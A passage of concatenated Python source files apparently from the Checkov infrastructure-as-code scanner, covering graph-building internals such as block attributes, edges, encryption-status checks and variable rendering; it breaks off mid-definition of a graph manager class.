SELF_REFERENCE = "__self__" class GraphSource(str, Enum): ANSIBLE = "Ansible" ARM = "ARM" BICEP = "Bicep" CLOUDFORMATION = "CloudFormation" DOCKERFILE = "Dockerfile" GITHUB_ACTIONS = "GitHubActions" KUBERNETES = "Kubernetes" TERRAFORM = "Terraform" TERRAFORM_PLAN = "terraform_plan" KUSTOMIZE = "kustomize" GITHUB_ACTION = "github_actions" HELM = "helm" SERVERLESS = "serverless" def __str__(self) -> str: # needed, because of a Python 3.11 change return self.value ================================================ FILE: checkov/common/graph/graph_builder/graph_components/__init__.py ================================================ ================================================ FILE: checkov/common/graph/graph_builder/graph_components/attribute_names.py ================================================ from dataclasses import dataclass from enum import Enum from typing import List, Any @dataclass class CustomAttributes: BLOCK_NAME = "block_name_" BLOCK_TYPE = "block_type_" FILE_PATH = "file_path_" CONFIG = "config_" ATTRIBUTES = "attributes_" LABEL = "label_" ID = "id_" HASH = "hash" RENDERING_BREADCRUMBS = "rendering_breadcrumbs_" SOURCE = "source_" RESOURCE_TYPE = "resource_type" RESOURCE_ID = "resource_id" SOURCE_MODULE = "source_module_" MODULE_DEPENDENCY = "module_dependency_" MODULE_DEPENDENCY_NUM = "module_dependency_num_" ENCRYPTION = "encryption_" ENCRYPTION_DETAILS = "encryption_details_" TF_RESOURCE_ADDRESS = "__address__" PROVIDER_ADDRESS = "__provider_address__" REFERENCES = "references_" FOREACH_ATTRS = "foreach_attrs_" SOURCE_MODULE_OBJECT = "source_module_object_" CONNECTED_NODE = "connected_node" VIRTUAL_RESOURCES = "virtual_resources" def props(cls: Any) -> List[str]: return [i for i in cls.__dict__.keys() if i[:1] != "_"] def wrap_reserved_attributes(attribute: str, prefix: str = '_') -> str: return f"{prefix}{attribute}" reserved_attribute_names = props(CustomAttributes) reserved_attributes_to_scan = [CustomAttributes.RESOURCE_TYPE] class EncryptionValues(str, Enum): ENCRYPTED = "ENCRYPTED" UNENCRYPTED = "UNENCRYPTED" class EncryptionTypes(str, Enum): KMS_VALUE = "KMS" NODE_TO_NODE = "node-to-node" DEFAULT_KMS = "Default KMS" AES256 = "AES256" AWS_KMS_VALUE = "aws:kms" ================================================ FILE: checkov/common/graph/graph_builder/graph_components/block_types.py ================================================ from __future__ import annotations from dataclasses import dataclass from typing import cast, Literal @dataclass class BlockType: RESOURCE: Literal["resource"] = "resource" MODULE: Literal["module"] = "module" def get(self, attr_name: str) -> str: return cast("str", getattr(self, attr_name.upper())) ================================================ FILE: checkov/common/graph/graph_builder/graph_components/blocks.py ================================================ from __future__ import annotations import logging import typing from collections.abc import Collection from typing import Dict, Any, List, cast from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes from checkov.common.graph.graph_builder.utils import calculate_hash, join_trimmed_strings from checkov.common.graph.graph_builder.variable_rendering.breadcrumb_metadata import BreadcrumbMetadata from checkov.common.util.data_structures_utils import pickle_deepcopy from bc_jsonpath_ng.ext import parse if typing.TYPE_CHECKING: from bc_jsonpath_ng import JSONPath class Block: __slots__ = ( "attributes", "block_type", "breadcrumbs", "changed_attributes", "config", "id", "name", "path", "source", "has_dynamic_block", "dynamic_attributes", "foreach_attrs" ) jsonpath_parsed_statement_cache: "dict[str, JSONPath]" = {} # noqa: CCE003 # global cache def __init__( self, name: str, config: Dict[str, Any], path: str, block_type: str, attributes: Dict[str, Any], id: str = "", source: str = "", has_dynamic_block: bool = False, dynamic_attributes: dict[str, Any] | None = None ) -> None: """ :param name: unique name given to the block, for example :param config: the section in tf_definitions that belong to this block :param path: the file location of the block :param block_type: str :param attributes: dictionary of the block's original attributes in the origin file """ self.name = name self.config = pickle_deepcopy(config) self.path = path self.block_type = block_type self.attributes = attributes self.id = id self.source = source self.changed_attributes: Dict[str, List[Any]] = {} self.breadcrumbs: Dict[str, List[Dict[str, Any]]] = {} attributes_to_add = self._extract_inner_attributes(has_dynamic_block, dynamic_attributes) self.attributes.update(attributes_to_add) def _extract_inner_attributes(self, has_dynamic_block: bool = False, dynamic_attributes: dict[str, Any] | None = None) -> Dict[str, Any]: attributes_to_add = {} for attribute_key, attribute_value in self.attributes.items(): if has_dynamic_block and attribute_key in dynamic_attributes.keys(): # type: ignore continue if self.should_run_get_inner_attributes(attribute_value): inner_attributes = self.get_inner_attributes( attribute_key=attribute_key, attribute_value=attribute_value, ) attributes_to_add.update(inner_attributes) return attributes_to_add def should_run_get_inner_attributes(self, attribute_value: Any) -> bool: return isinstance(attribute_value, dict) or (isinstance(attribute_value, list) and len(attribute_value) > 0 and isinstance(attribute_value[0], dict)) def __str__(self) -> str: return f"{self.block_type}: {self.name}" def get_attribute_dict(self, add_hash: bool = True) -> Dict[str, Any]: """ :return: map of all the block's native attributes (from the source file), combined with the attributes generated by the module builder. If the attributes are not a primitive type, they are converted to strings. """ base_attributes = self.get_base_attributes() self.get_origin_attributes(base_attributes) if self.changed_attributes: # add changed attributes only for calculating the hash base_attributes["changed_attributes"] = sorted(self.changed_attributes.keys()) if self.breadcrumbs: sorted_breadcrumbs = dict(sorted(self.breadcrumbs.items())) base_attributes[CustomAttributes.RENDERING_BREADCRUMBS] = sorted_breadcrumbs if add_hash: base_attributes[CustomAttributes.HASH] = calculate_hash(base_attributes) if "changed_attributes" in base_attributes: # removed changed attributes if it was added previously for calculating hash. del base_attributes["changed_attributes"] return base_attributes def get_origin_attributes(self, base_attributes: Dict[str, Any]) -> None: for attribute_key in list(self.attributes.keys()): attribute_value = self.attributes[attribute_key] if isinstance(attribute_value, list) and len(attribute_value) == 1: if '.' not in attribute_key: attribute_value = attribute_value[0] # needs to be checked before adding anything to 'base_attributes' if attribute_key == "self": base_attributes["self_"] = attribute_value continue if isinstance(attribute_value, (list, dict)): inner_attributes = self.get_inner_attributes(attribute_key, attribute_value, False) base_attributes.update(inner_attributes) base_attributes[attribute_key] = attribute_value def get_hash(self) -> str: attributes_dict = self.get_attribute_dict() return cast("str", attributes_dict.get(CustomAttributes.HASH, "")) def update_attribute( self, attribute_key: str, attribute_value: Any, change_origin_id: int | None, previous_breadcrumbs: list[BreadcrumbMetadata], attribute_at_dest: str | None, transform_step: bool = False, ) -> None: self.update_inner_attribute( attribute_key=attribute_key, nested_attributes=self.attributes, value_to_update=attribute_value ) if ( self._should_add_previous_breadcrumbs(change_origin_id, previous_breadcrumbs, attribute_at_dest) and change_origin_id is not None ): previous_breadcrumbs.append(BreadcrumbMetadata(change_origin_id, attribute_at_dest)) # update the numbered attributes, if the new value is a list if attribute_value and isinstance(attribute_value, list): self.update_list_attribute(attribute_key=attribute_key, attribute_value=attribute_value) attribute_key_parts = attribute_key.split(".") if len(attribute_key_parts) == 1: self.attributes[attribute_key] = attribute_value if self._should_set_changed_attributes(change_origin_id, attribute_at_dest): self.changed_attributes[attribute_key] = previous_breadcrumbs return for i in range(len(attribute_key_parts)): key = join_trimmed_strings(char_to_join=".", str_lst=attribute_key_parts, num_to_trim=i) if key.find(".") > -1: additional_changed_attributes = self.extract_additional_changed_attributes(key) if key in self.attributes and isinstance(self.attributes[key], dict) and key != attribute_key: try: self._update_attribute_based_on_jsonpath_key(attribute_value, key) except Exception as e: logging.debug(f"Failed updating attribute for key: {key} and value {attribute_value}." f"Falling back to explicitly setting it." f"Exception - {e}") self.attributes[key] = attribute_value else: self.attributes[key] = attribute_value end_key_part = attribute_key_parts[len(attribute_key_parts) - 1 - i] if transform_step and end_key_part in ("1", "2"): # if condition logic during the transform step breaks the values return attribute_value = {end_key_part: attribute_value} if self._should_set_changed_attributes(change_origin_id, attribute_at_dest): self.changed_attributes[key] = previous_breadcrumbs if additional_changed_attributes: for changed_attribute in additional_changed_attributes: self.changed_attributes[changed_attribute] = previous_breadcrumbs def _update_attribute_based_on_jsonpath_key(self, attribute_value: Any, key: str) -> None: """ When updating all the attributes we might try to update a specific attribute inside a complex object, so we use jsonpath to refer to the specific location only. """ if key not in Block.jsonpath_parsed_statement_cache: jsonpath_key = self._get_jsonpath_key(key) expr = parse(jsonpath_key) Block.jsonpath_parsed_statement_cache[key] = expr else: expr = Block.jsonpath_parsed_statement_cache[key] match = expr.find(self.attributes) if match: match[0].value = attribute_value return None @staticmethod def _get_jsonpath_key(key: str) -> str: jsonpath_key = "$." key_parts = key.split(".") updated_parts = [] for part in key_parts: if part.isnumeric(): updated_parts.append(f"[{part}]") elif "/" in part or "::" in part: updated_parts.append(f'"{part}"') else: updated_parts.append(part) jsonpath_key += ".".join(updated_parts) # Replace .0 with [0] to match jsonpath style jsonpath_key = jsonpath_key.replace(".[", "[") return jsonpath_key def update_inner_attribute( self, attribute_key: str, nested_attributes: list[Any] | dict[str, Any], value_to_update: Any ) -> None: split_key = attribute_key.split(".") i = 1 curr_key = ".".join(split_key[0:i]) if isinstance(nested_attributes, list): if curr_key.isnumeric(): curr_key_int = int(curr_key) if curr_key_int < len(nested_attributes): if not isinstance(nested_attributes[curr_key_int], dict): nested_attributes[curr_key_int] = value_to_update else: self.update_inner_attribute( ".".join(split_key[i:]), nested_attributes[curr_key_int], value_to_update ) else: for inner in nested_attributes: self.update_inner_attribute(curr_key, inner, value_to_update) elif isinstance(nested_attributes, dict): while curr_key not in nested_attributes and i <= len(split_key): i += 1 curr_key = ".".join(split_key[0:i]) if attribute_key in nested_attributes.keys(): nested_attributes[attribute_key] = value_to_update if len(split_key) == 1 and len(curr_key) > 0: nested_attributes[curr_key] = value_to_update elif curr_key in nested_attributes.keys(): self.update_inner_attribute(".".join(split_key[i:]), nested_attributes[curr_key], value_to_update) def update_list_attribute(self, attribute_key: str, attribute_value: Any) -> None: """Updates list attributes with their index""" for idx, value in enumerate(attribute_value): self.attributes[f"{attribute_key}.{idx}"] = value @staticmethod def _should_add_previous_breadcrumbs( change_origin_id: int | None, previous_breadcrumbs: list[BreadcrumbMetadata], attribute_at_dest: str | None ) -> bool: return not previous_breadcrumbs or previous_breadcrumbs[-1].vertex_id != change_origin_id def extract_additional_changed_attributes(self, attribute_key: str) -> List[str]: """ override in case of a special case where additional attributes are needed to be tracked included in self.changed_attributes and self.breadcrumbs, such as terraform dynamic blocks :param attribute_key: JSONPath notation of an attribute key that is used for extraction :return: list of the additional attributes, in JSONPath notation """ return [] @staticmethod def _should_set_changed_attributes(change_origin_id: int | None, attribute_at_dest: str | None) -> bool: return True def get_export_data(self) -> Dict[str, Any]: return {"type": self.block_type, "name": self.name, "path": self.path} def get_base_attributes(self) -> Dict[str, Any]: return { CustomAttributes.BLOCK_NAME: self.name, CustomAttributes.BLOCK_TYPE: self.block_type, CustomAttributes.FILE_PATH: self.path, CustomAttributes.CONFIG: self.config, CustomAttributes.LABEL: str(self), CustomAttributes.ID: self.id, CustomAttributes.SOURCE: self.source, } @classmethod def get_inner_attributes( cls, attribute_key: str, attribute_value: str | List[str] | dict[str, Any], strip_list: bool = True # used by subclass ) -> dict[str, Any]: inner_attributes: dict[str, Any] = {} if isinstance(attribute_value, (dict, list)): inner_attributes[attribute_key] = [None] * len(attribute_value) if isinstance(attribute_value, list) else {} iterator: Collection[int] | Collection[str] = range(len(attribute_value)) if isinstance( attribute_value, list ) else list( attribute_value.keys() ) for key in iterator: if key != "": inner_key = f"{attribute_key}.{key}" inner_value = attribute_value[key] # type:ignore[index] inner_attributes.update(cls.get_inner_attributes(inner_key, inner_value)) inner_attributes[attribute_key][key] = inner_attributes[inner_key] else: del attribute_value[key] # type:ignore[arg-type] else: inner_attributes[attribute_key] = attribute_value return inner_attributes ================================================ FILE: checkov/common/graph/graph_builder/graph_components/edge.py ================================================ from typing import Any, Dict class Edge: __slots__ = ("dest", "label", "origin") def __init__(self, origin: int, dest: int, label: str) -> None: self.origin = origin self.dest = dest self.label = label def __str__(self) -> str: return f"[{self.origin} -({self.label})-> {self.dest}]" def __eq__(self, other: Any) -> bool: return isinstance(other, Edge) and str(self) == str(other) def __ne__(self, other: Any) -> bool: return not self.__eq__(other) def __hash__(self) -> int: return hash(str(self)) def to_dict(self) -> Dict[str, Any]: return { 'origin': self.origin, 'dest': self.dest, 'label': self.label } ================================================ FILE: checkov/common/graph/graph_builder/graph_components/generic_resource_encryption_base.py ================================================ from typing import Dict, List, Union, Tuple, Any from checkov.common.graph.graph_builder import EncryptionTypes class GenericResourceEncryptionBase: def __init__( self, resource_type: str, attribute_values_map: Dict[str, Union[List[bool], List[str]]], enabled_by_default: bool = False, node_to_node_encryption: str = "" ) -> None: """ :param resource_type: The resource type this checks. Only helps with debugging. :param attribute_values_map: A dict that maps each attribute to its expected values. An attribute which points to an empty array can hold any value, except None, and identify the resource as an encrypted resource. :param enabled_by_default: Some resources are encrypted by default, even if no configuration is present. Some are not. This helps implement that logic """ self.enabled_by_default = enabled_by_default self.attribute_values_map = attribute_values_map self.resource_type = resource_type self.node_to_node_encryption = node_to_node_encryption self.default_description = "" def is_encrypted(self, atts_dict: Dict[str, Any]) -> Tuple[bool, str]: result = True result_description = "" for att, expected_vals in self.attribute_values_map.items(): att_value = atts_dict.get(att) if att_value: result &= (len(expected_vals) == 0 and att_value is not None) or att_value in expected_vals if result: if att_value == EncryptionTypes.AES256.value: result_description = att_value elif self.node_to_node_encryption in att: result_description = EncryptionTypes.NODE_TO_NODE.value elif result_description == "": result_description = EncryptionTypes.KMS_VALUE.value if result_description == "" and result: # No encryption config was found. Drop back to defaults: result = self.enabled_by_default result_description = self.default_description if self.enabled_by_default else "" return result, result_description def __str__(self) -> str: return f"GenericResourceEncryption[{self.resource_type}]" ================================================ FILE: checkov/common/graph/graph_builder/graph_resources_encription_manager.py ================================================ from dataclasses import dataclass from typing import Any, Dict, Optional from checkov.common.graph.graph_builder.graph_components.attribute_names import EncryptionValues from checkov.common.graph.graph_builder.graph_components.blocks import Block @dataclass class EncryptionResult: encrypted: str reason: str class GraphResourcesEncryptionManager(): def __init__(self) -> None: self._encription_by_resource_type: Dict[str, Any] = {} def set_encription_by_resource_type(self, encription_by_resource_type: Dict[str, Any]) -> None: self._encription_by_resource_type = encription_by_resource_type def get_encryption_result(self, vertex: Block) -> Optional[EncryptionResult]: resource_type = vertex.id.split(".")[0] encryption_conf = self._encription_by_resource_type.get(resource_type) if not encryption_conf: return None attributes = vertex.get_attribute_dict() is_encrypted, reason = encryption_conf.is_encrypted(attributes) # TODO: Does not support possible dependency (i.e. S3 Object being encrypted due to S3 Bucket config) encrypted = (EncryptionValues.ENCRYPTED.value if is_encrypted else EncryptionValues.UNENCRYPTED.value) return EncryptionResult(encrypted, reason) ================================================ FILE: checkov/common/graph/graph_builder/local_graph.py ================================================ from __future__ import annotations from abc import abstractmethod from collections import defaultdict from functools import partial from typing import List, Dict, Callable, Union, Any, Set, Iterable, TypeVar, Generic, TYPE_CHECKING from checkov.common.graph.graph_builder.graph_components.block_types import BlockType from checkov.common.graph.graph_builder.graph_resources_encription_manager import GraphResourcesEncryptionManager from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes if TYPE_CHECKING: from checkov.common.graph.graph_builder import Edge from checkov.common.graph.graph_builder.graph_components.blocks import Block # noqa _Block = TypeVar("_Block", bound="Block") class LocalGraph(Generic[_Block]): def __init__(self) -> None: self.vertices: List[_Block] = [] self.edges: List[Edge] = [] self.in_edges: Dict[int, List[Edge]] = defaultdict(list) # map between vertex index and the edges entering it self.out_edges: Dict[int, List[Edge]] = defaultdict(list) # map between vertex index and the edges exiting it self.vertices_by_block_type: Dict[str, List[int]] = defaultdict(list) self.vertex_hash_cache: Dict[int, str] = defaultdict(str) self.vertices_block_name_map: Dict[str, Dict[str, List[int]]] = defaultdict(partial(defaultdict, list)) self._graph_resource_encryption_manager = GraphResourcesEncryptionManager() @abstractmethod def build_graph(self, render_variables: bool) -> None: pass def get_vertices_with_degrees_conditions( self, out_degree_cond: Callable[[int], bool], in_degree_cond: Callable[[int], bool] ) -> Set[int]: vertices_with_out_degree = { vertex_index for vertex_index, vertex_value in self.out_edges.items() if out_degree_cond(len(vertex_value)) } vertices_with_in_degree = { vertex_index for vertex_index, vertex_value in self.in_edges.items() if in_degree_cond(len(vertex_value)) } return vertices_with_in_degree.intersection(vertices_with_out_degree) def get_in_edges(self, end_vertices: Iterable[int]) -> List[Edge]: res = [] for vertex in end_vertices: res.extend(self.in_edges.get(vertex, [])) return self.sort_edged_by_dest_out_degree(res) def get_in_edges_deduped(self, end_vertices: Iterable[int]) -> Set[Edge]: res = set() for vertex in end_vertices: res.update(self.in_edges.get(vertex, [])) return res def sort_edged_by_dest_out_degree(self, edges: Iterable[Edge]) -> List[Edge]: edged_by_out_degree: Dict[int, List[Edge]] = {} for edge in edges: dest_out_degree = len(self.out_edges[edge.dest]) edged_by_out_degree.setdefault(dest_out_degree, []).append(edge) sorted_edges = [] for degree in sorted(edged_by_out_degree.keys()): sorted_edges.extend(edged_by_out_degree[degree]) return sorted_edges @abstractmethod def update_vertices_configs(self) -> None: pass @staticmethod @abstractmethod def update_vertex_config(vertex: _Block, changed_attributes: Union[List[str], Dict[str, Any]], has_dynamic_blocks: bool = False) -> None: pass @abstractmethod def get_resources_types_in_graph(self) -> List[str]: pass def get_vertex_attributes_by_index(self, index: int, add_hash: bool = True) -> Dict[str, Any]: return self.vertices[index].get_attribute_dict(add_hash) def update_vertex_attribute( self, vertex_index: int, attribute_key: str, attribute_value: Any, change_origin_id: int | None, attribute_at_dest: str | None, transform_step: bool = False ) -> None: previous_breadcrumbs = [] if attribute_at_dest and change_origin_id is not None: previous_breadcrumbs = self.vertices[change_origin_id].changed_attributes.get(attribute_at_dest, []) self.vertices[vertex_index].update_attribute( attribute_key, attribute_value, change_origin_id, previous_breadcrumbs, attribute_at_dest, transform_step ) def calculate_encryption_attribute(self, encription_by_resource_type: Dict[str, Any]) -> None: self._graph_resource_encryption_manager.set_encription_by_resource_type(encription_by_resource_type) for vertex_index in self.vertices_by_block_type.get(BlockType.RESOURCE, []): vertex = self.vertices[vertex_index] encryption_result = self._graph_resource_encryption_manager.get_encryption_result(vertex) if not encryption_result: continue vertex.attributes[CustomAttributes.ENCRYPTION] = encryption_result.encrypted vertex.attributes[CustomAttributes.ENCRYPTION_DETAILS] = encryption_result.reason ================================================ FILE: checkov/common/graph/graph_builder/utils.py ================================================ from __future__ import annotations import concurrent import hashlib from typing import Any, Callable, overload, Union, List, Dict import concurrent.futures from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.common.util.type_forcers import force_int def calculate_hash(data: Any) -> str: sha256 = hashlib.sha256(str(data).encode("utf-8")) return sha256.hexdigest() def join_trimmed_strings(char_to_join: str, str_lst: list[str], num_to_trim: int) -> str: return char_to_join.join(str_lst[: len(str_lst) - num_to_trim]) def run_function_multithreaded( func: Callable[..., Any], data: list[list[Any]], max_group_size: int, num_of_workers: int | None = None ) -> None: groups_of_data = [data[i : i + max_group_size] for i in range(0, len(data), max_group_size)] if not num_of_workers: num_of_workers = len(groups_of_data) if num_of_workers > 0: with concurrent.futures.ThreadPoolExecutor(max_workers=num_of_workers) as executor: futures = {executor.submit(func, data_group): data_group for data_group in groups_of_data} wait_result = concurrent.futures.wait(futures) if wait_result.not_done: raise Exception(f"failed to perform {func.__name__}") for future in futures: try: future.result() except Exception: raise def filter_sub_keys(key_list: list[str]) -> list[str]: filtered_key_list = [] for key in key_list: if not any(other_key != key and other_key.startswith(key) for other_key in key_list) and is_include_dup_dynamic(key, key_list): filtered_key_list.append(key) return filtered_key_list def is_include_dup_dynamic(key: str, list_keys: list[str]) -> bool: return f"dynamic.{key.split('.')[0]}" not in list_keys def adjust_value(element_name: str, value: Any) -> Any: """Adjusts the value, if the 'element_name' references a nested key Ex: element_name = publicKey.keyData value = {"keyData": "key-data", "path": "path"} returns new_value = "key-data" """ if "." in element_name and isinstance(value, dict): key_parts = element_name.split(".") new_value = value.get(key_parts[1]) if new_value is None: # couldn't find key in in value object return None return adjust_value(".".join(key_parts[1:]), new_value) return value def to_list(data: Any) -> list[Any] | dict[str, Any]: if isinstance(data, list) and len(data) == 1 and (isinstance(data[0], str) or isinstance(data[0], int)): return data elif isinstance(data, list): return [to_list(x) for x in data] elif isinstance(data, dict): return {key: to_list(val) for key, val in data.items()} else: return [data] @overload def update_dictionary_attribute( config: dict[str, Any], key_to_update: str, new_value: Any, dynamic_blocks: bool = False ) -> dict[str, Any]: ... @overload def update_dictionary_attribute( config: list[Any], key_to_update: str, new_value: Any, dynamic_blocks: bool = False ) -> list[Any]: ... def update_dictionary_attribute( config: Union[List[Any], Dict[str, Any]], key_to_update: str, new_value: Any, dynamic_blocks: bool = False ) -> Union[List[Any], Dict[str, Any]]: key_parts = key_to_update.split(".") if '"' in key_to_update: key_parts = join_double_quote_surrounded_dot_split(str_parts=key_parts) if isinstance(config, dict) and isinstance(key_parts, list): key = key_parts[0] inner_config = config.get(key) if inner_config is not None: if len(key_parts) == 1: if isinstance(inner_config, list) and not isinstance(new_value, list): new_value = [new_value] config[key] = to_list(new_value) if dynamic_blocks else new_value return config else: config[key] = update_dictionary_attribute( inner_config, ".".join(key_parts[1:]), new_value, dynamic_blocks=dynamic_blocks ) else: for key in config: config[key] = update_dictionary_attribute( config[key], key_to_update, new_value, dynamic_blocks=dynamic_blocks ) if isinstance(config, list): return update_list_attribute( config=config, key_parts=key_parts, key_to_update=key_to_update, new_value=new_value, dynamic_blocks=dynamic_blocks, ) return config def update_list_attribute( config: list[Any], key_parts: list[str], key_to_update: str, new_value: Any, dynamic_blocks: bool = False ) -> list[Any] | dict[str, Any]: """Updates a list attribute in the given config""" if not config: # happens when we can't correctly evaluate something, because of strange defaults or 'for_each' blocks return config if len(key_parts) == 1 and len(config) == 1: idx = force_int(key_parts[0]) # Avoid changing the config and cause side effects inner_config = pickle_deepcopy(config[0]) if idx is not None and isinstance(inner_config, list): if not inner_config: # happens when config = [[]] return config inner_config[idx] = new_value return [inner_config] entry_to_update = int(key_parts[0]) if key_parts[0].isnumeric() else -1 for i, config_value in enumerate(config): if entry_to_update == -1: config[i] = update_dictionary_attribute(config=config_value, key_to_update=key_to_update, new_value=new_value, dynamic_blocks=dynamic_blocks) elif entry_to_update == i: config[i] = update_dictionary_attribute(config=config_value, key_to_update=".".join(key_parts[1:]), new_value=new_value, dynamic_blocks=dynamic_blocks) return config def join_double_quote_surrounded_dot_split(str_parts: list[str]) -> list[str]: """Joins back split strings which enclosed a dot by double quotes ex. ['google_project_iam_binding', 'role["roles/logging', 'admin"]'] -> ['google_project_iam_binding', 'role["roles/logging.admin"]'] If someone finds a better solution feel free to replace it! """ new_str_parts = [] joined_str_parts: list[str] = [] for part in str_parts: if not joined_str_parts: if '"' not in part: new_str_parts.append(part) elif part.count('"') >= 2: new_str_parts.append(part) else: joined_str_parts.append(part) continue joined_str_parts.append(part) if '"' in part: new_str_parts.append(".".join(joined_str_parts)) joined_str_parts = [] return new_str_parts ================================================ FILE: checkov/common/graph/graph_builder/variable_rendering/__init__.py ================================================ ================================================ FILE: checkov/common/graph/graph_builder/variable_rendering/breadcrumb_metadata.py ================================================ from __future__ import annotations class BreadcrumbMetadata: __slots__ = ("attribute_key", "vertex_id") def __init__(self, vertex_id: int, attribute_key: str | None): self.vertex_id = vertex_id self.attribute_key = attribute_key ================================================ FILE: checkov/common/graph/graph_builder/variable_rendering/renderer.py ================================================ from __future__ import annotations import logging import os import warnings from abc import ABC, abstractmethod from typing import TYPE_CHECKING, List, Dict, Any, Iterable, TypeVar, Generic from checkov.common.graph.graph_builder import Edge from checkov.common.graph.graph_builder.utils import run_function_multithreaded from checkov.common.graph.graph_builder.graph_components.block_types import BlockType if TYPE_CHECKING: from checkov.common.graph.graph_builder.graph_components.blocks import Block # noqa from checkov.common.graph.graph_builder.local_graph import LocalGraph # noqa _LocalGraph = TypeVar("_LocalGraph", bound="LocalGraph[Any]") class VariableRenderer(ABC, Generic[_LocalGraph]): MAX_NUMBER_OF_LOOPS = 50 def __init__(self, local_graph: _LocalGraph) -> None: warnings.filterwarnings("ignore", category=SyntaxWarning) self.local_graph = local_graph self.run_async = True if os.getenv("RENDER_VARIABLES_ASYNC") == "True" else False self.max_workers = int(os.getenv("RENDER_ASYNC_MAX_WORKERS", 50)) self.duplicate_percent = int(os.getenv("RENDER_EDGES_DUPLICATE_PERCENT", 90)) self.duplicate_iter_count = int(os.getenv("RENDER_EDGES_DUPLICATE_ITER_COUNT", 4)) self.done_edges_by_origin_vertex: Dict[int, List[Edge]] = {} self.replace_cache: List[Dict[str, Any]] = [{}] * len(local_graph.vertices) self.vertices_index_to_render: List[int] = [] def render_variables_from_local_graph(self) -> None: self._render_variables_from_edges() self._render_variables_from_vertices() def _render_variables_from_edges(self) -> None: end_vertices_indexes = self._get_initial_end_vertices() edges_to_render = self.local_graph.get_in_edges(end_vertices_indexes) if self.vertices_index_to_render: edges_to_render = self._remove_unrelated_edges(edges_to_render) end_vertices_indexes = set() loops = 0 evaluated_edges_cache: list[list[Edge]] = [[], []] duplicates_count = 0 while edges_to_render: evaluated_edges_two_iter_ago = evaluated_edges_cache[-2] intersection_edges = set(edges_to_render).intersection(evaluated_edges_two_iter_ago) match_percent = int((len(intersection_edges) / len(edges_to_render)) * 100) if match_percent > self.duplicate_percent: duplicates_count += 1 if duplicates_count > self.duplicate_iter_count: logging.info(f"Reached too many edge duplications of {self.duplicate_percent}% for {self.duplicate_iter_count} iterations. breaking.") break evaluated_edges_cache.append(edges_to_render) logging.debug(f"evaluating {len(edges_to_render)} edges; loop_num={loops}") edges_groups = self.group_edges_by_origin_and_label(edges_to_render) self._evaluate_edge_groups(edges_groups) self._update_done_edges_by_origin_vertex(edges_to_render) self._update_end_vertices_indexes(edges_to_render, end_vertices_indexes) new_edges_to_render = self.local_graph.get_in_edges_deduped(end_vertices_indexes) edges_to_render = self.local_graph.sort_edged_by_dest_out_degree( new_edges_to_render - set(edges_to_render) ) loops += 1 if loops >= self.MAX_NUMBER_OF_LOOPS: logging.warning(f"Reached max ({self.MAX_NUMBER_OF_LOOPS}) graph edge evaluation loops, breaking.") break if self.vertices_index_to_render: return self.local_graph.update_vertices_configs() logging.debug("done evaluating edges") self.evaluate_non_rendered_values() logging.debug("done evaluate_non_rendered_values") def _get_initial_end_vertices(self) -> set[int]: return self.local_graph.get_vertices_with_degrees_conditions( out_degree_cond=lambda d: d == 0, in_degree_cond=lambda d: d > 0, ) def _evaluate_edge_groups(self, edges_groups: list[list[Edge]]) -> None: if self.run_async: run_function_multithreaded( func=self._edge_evaluation_task, data=edges_groups, max_group_size=1, num_of_workers=self.max_workers, ) else: for edge_group in edges_groups: self._edge_evaluation_task([edge_group]) def _update_done_edges_by_origin_vertex(self, edges_to_render: list[Edge]) -> None: for edge in edges_to_render: origin = edge.origin self.done_edges_by_origin_vertex.setdefault(origin, []).append(edge) def _update_end_vertices_indexes(self, edges_to_render: list[Edge], end_vertices_indexes: set[int]) -> None: already_checked: set[int] = set() for edge in edges_to_render: origin_vertex_index = edge.origin # Only check each origin once if origin_vertex_index in already_checked: continue already_checked.add(origin_vertex_index) out_edges = set(self.local_graph.out_edges.get(origin_vertex_index, [])) done_edges_for_origin = set(self.done_edges_by_origin_vertex.get(origin_vertex_index, [])) if out_edges.issubset(done_edges_for_origin): end_vertices_indexes.add(origin_vertex_index) @abstractmethod def _render_variables_from_vertices(self) -> None: pass def _edge_evaluation_task(self, edges: List[List[Edge]]) -> List[Edge]: inner_edges = edges[0] self.evaluate_vertex_attribute_from_edge(inner_edges) return inner_edges def _remove_unrelated_edges(self, edges_to_render: List[Edge]) -> List[Edge]: new_edges_to_render = [] for edge in edges_to_render: if not self.local_graph.vertices[edge.origin] == BlockType.RESOURCE or edge.origin not in self.vertices_index_to_render: new_edges_to_render.append(edge) return new_edges_to_render @abstractmethod def evaluate_vertex_attribute_from_edge(self, edge_list: List[Edge]) -> None: pass @staticmethod def group_edges_by_origin_and_label(edges: Iterable[Edge]) -> List[List[Edge]]: edge_groups: Dict[str, List[Edge]] = {} for edge in edges: edge_groups.setdefault(f"{edge.origin}{edge.label}", []).append(edge) return list(edge_groups.values()) @abstractmethod def evaluate_non_rendered_values(self) -> None: pass ================================================ FILE: checkov/common/graph/graph_builder/variable_rendering/vertex_reference.py ================================================ from __future__ import annotations from abc import ABC, abstractmethod from typing import Any class VertexReference(ABC): __slots__ = ("block_type", "sub_parts", "origin_value") def __init__(self, block_type: str, sub_parts: list[str], origin_value: str) -> None: self.block_type = self.block_type_str_to_enum(block_type) if isinstance(block_type, str) else block_type self.sub_parts = sub_parts self.origin_value = origin_value def __eq__(self, other: Any) -> bool: if not isinstance(other, VertexReference): return False return ( self.block_type == other.block_type and self.sub_parts == other.sub_parts and self.origin_value == other.origin_value ) def __str__(self) -> str: return f"{self.block_type} sub_parts = {self.sub_parts}, origin = {self.origin_value}" @staticmethod @abstractmethod def block_type_str_to_enum(block_type_str: str) -> str: pass ================================================ FILE: checkov/common/graph/graph_manager.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import Type, TYPE_CHECKING, TypeVar, Generic, Any, Optional if TYPE_CHECKING: from checkov.common.graph.graph_builder.local_graph import LocalGraph # noqa from checkov.terraform.tf_parser import TFParser from checkov.common.typing import LibraryGraph, LibraryGraphConnector _LocalGraph = TypeVar("_LocalGraph", bound="LocalGraph[Any]") _Definitions = TypeVar("_Definitions") class GraphManager(Generic[_LocalGraph, _Definitions]): def __init__(self, db_connector: LibraryGraphConnector, parser: TFParser | None, source: str = "") -> None: self.db_connector = db_connector self.source = source self.parser = parser @abstractmethod def build_graph_from_source_directory( self, source_dir: str, local_graph_class: Type[_LocalGraph], render_variables: bool = True, parsing_errors: Optional[dict[str, Exception]] = None, download_external_modules: Optional[bool] = False, excluded_paths: Optional[list[str]] = None, **kwargs: Any, ) -> tuple[_LocalGraph | None, _Definitions]: pass @abstractmethod def build_graph_from_definitions( self, 